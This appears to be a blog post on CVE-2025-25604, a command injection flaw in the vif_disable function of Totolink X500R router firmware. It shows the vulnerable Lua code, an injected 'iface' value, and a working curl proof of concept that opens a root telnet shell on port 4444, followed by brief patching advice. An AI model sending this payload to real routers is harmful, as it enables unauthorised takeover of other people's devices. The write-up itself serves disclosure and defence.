The Totolink X500R is a popular dual-band WiFi router, often found in homes and small businesses. However, security researchers recently discovered a major security flaw – CVE-2025-25604 – in firmware version V9.1.u.6369_B20230113. This bug lets any attacker inject and run system commands by abusing the vif_disable function inside a Lua script named mtkwifi.lua.

This long-read post shows how the vulnerability works, gives a demo exploit, and guides you through understanding and mitigating the issue. Let’s dig in!

What is CVE-2025-25604?

CVE-2025-25604 describes a command injection vulnerability in the Totolink X500R router firmware. Specifically, within the web management interface, there’s a backend Lua script (mtkwifi.lua) containing a function called vif_disable. Lacking proper user input sanitization, this function takes user data and passes it straight to a system command – a classic injection bug.

Remote exploitation: Attackers can run system commands as the web server user.

- No authentication needed (in some endpoints): Attackers can do this without valid credentials, depending on your configuration.
- Leads to device takeover: Attackers could open a reverse shell, steal router configuration, or make the router part of a botnet.

The Vulnerable Code (Breakdown and Simple Explanation)

Let’s look at the rough code pattern found in the mtkwifi.lua script. This file is part of the router’s web interface backend.

Vulnerable Function in mtkwifi.lua

function vif_disable()
    local iface = luci.http.formvalue("iface")
    -- BAD: direct use of user input in os.execute
    os.execute("iwpriv " .. iface .. " set Disabled=1")
end

- Problem: iface comes from HTTP POST/GET parameters. There is no sanitization—so an attacker can supply any command as part of this parameter.

Example

iface=ath;reboot

The resulting command actually run

iwpriv ath;reboot set Disabled=1

The router will reboot as soon as this “injected” command gets parsed!

Example Exploit (Proof of Concept)

Suppose the web interface is accessible at http://router-ip/cgi-bin/luci/admin/mtkwifi/vif_disable

Exploit using curl

curl -X POST http://router-ip/cgi-bin/luci/admin/mtkwifi/vif_disable \
  -d "iface=ath;telnetd -l /bin/sh -p 4444"

- This command enables a telnet server on port 4444 as root, letting an attacker connect and execute any shell commands!

Connect to the backdoor

telnet router-ip 4444

Persistent access for attackers

No user interaction is needed if the attacker can access the management panel.

- Totolink Support Page

References (for Further Reading)

- Official CVE Report - CVE-2025-25604
- Totolink Official Website

Public exploit writeups (may appear in future):

- Exploit-DB
- PacketStorm Security

Final Thoughts

If you’re running a Totolink X500R with version V9.1.u.6369_B20230113, you’re at risk. This is a critical command injection that is trivially abused and often not protected by authentication.

Always keep your router up-to-date and lock down remote management features. Security holes in embedded systems like routers can have widespread effects—don’t neglect them.

Stay safe!

*This post is for educational and defensive purposes – always act responsibly and inform affected parties. If your device is vulnerable, update or seek help immediately.*

Timeline

Published on: 02/21/2025 19:15:14 UTC
Last modified on: 02/21/2025 21:15:24 UTC